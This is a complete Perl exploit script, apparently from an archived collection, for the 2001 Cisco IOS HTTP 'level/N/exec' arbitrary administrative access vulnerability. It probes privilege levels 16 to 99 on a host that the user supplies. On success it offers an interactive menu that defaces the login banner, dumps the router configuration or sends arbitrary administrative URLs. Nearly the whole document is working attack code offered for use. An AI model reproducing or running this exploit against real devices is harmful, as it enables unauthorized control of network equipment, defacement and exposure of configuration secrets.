home *** CD-ROM | disk | FTP | other *** search
- #!/usr/bin/perl
- #
- # Exploit for Cisco IOS HTTP Configuration Arbitrary Administrative
- # Access Vulnerability - Found: 06-27-01 - Bugtraq ID: 2936
- # Written by hypoclear on 07-03-01
- #
- # This vulnerability seems to be a hot topic, even though I thought
- # it was lame. Because of that and since I seem to write a lot of
- # Cisco exploits, I figured why not write one for this...
- #
- # usage: ./ios.pl <host>
- #
- # hypoclear - hypoclear@jungle.net - http://hypoclear.cjb.net
- # This and all of my programs fall under my disclaimer, which
- # can be found at: http://hypoclear.cjb.net/hypodisclaim.txt
-
- use IO::Socket;
-
- die "\nusage: $0 <host>\n\n" unless @ARGV > 0;
- $num = 16;
-
- while ($num <100)
- { sender("GET /level/$num/exec/- HTTP/1.0\n\n");
- $webRecv =~ s/\n//g;
- if ($webRecv =~ /200 ok/)
- { while(1)
- { print "\n$AGRV[0] is Vulnerable. Try an attack:\n";
- print "1: Banner change\n";
- print "2: List vty 0 4 acl info\n";
- print "3: Other\n";
- print "Enter option (^C quits): ";
- $attack = <STDIN>; chomp($attack);
-
- if ($attack == 1)
- { print "\nEnter deface line: ";
- $attack = <STDIN>; chomp($attack);
- sender("GET /level/$num/exec/-/configure/-/banner/motd/$attack HTTP/1.0\n\n");
- }
- elsif ($attack == 2)
- { sender("GET /level/$num/exec/show%20conf HTTP/1.0\n\n");
- print "$webRecvFull";
- }
- elsif ($attack == 3)
- { print "\nEnter attack URL: ";
- $attack = <STDIN>; chomp($attack);
- sender("GET /$attack HTTP/1.0\n\n");
- print "$webRecvFull";
- }
- }
- }
- $webRecv = ""; $num++;
- }
- die "Not vulnerable...\n\n";
-
-
- sub sender
- { $sendsock = IO::Socket::INET -> new(Proto => 'tcp',
- PeerAddr => $ARGV[0],
- PeerPort => 80,
- Type => SOCK_STREAM,
- Timeout => 5);
- unless($sendsock){die "Can't connect to $ARGV[0]"}
- $sendsock->autoflush(1);
-
- $sendsock -> send($_[0]);
- while(<$sendsock>){$webRecv .= $_} $webRecvFull = $webRecv;
- close $sendsock;
- }
-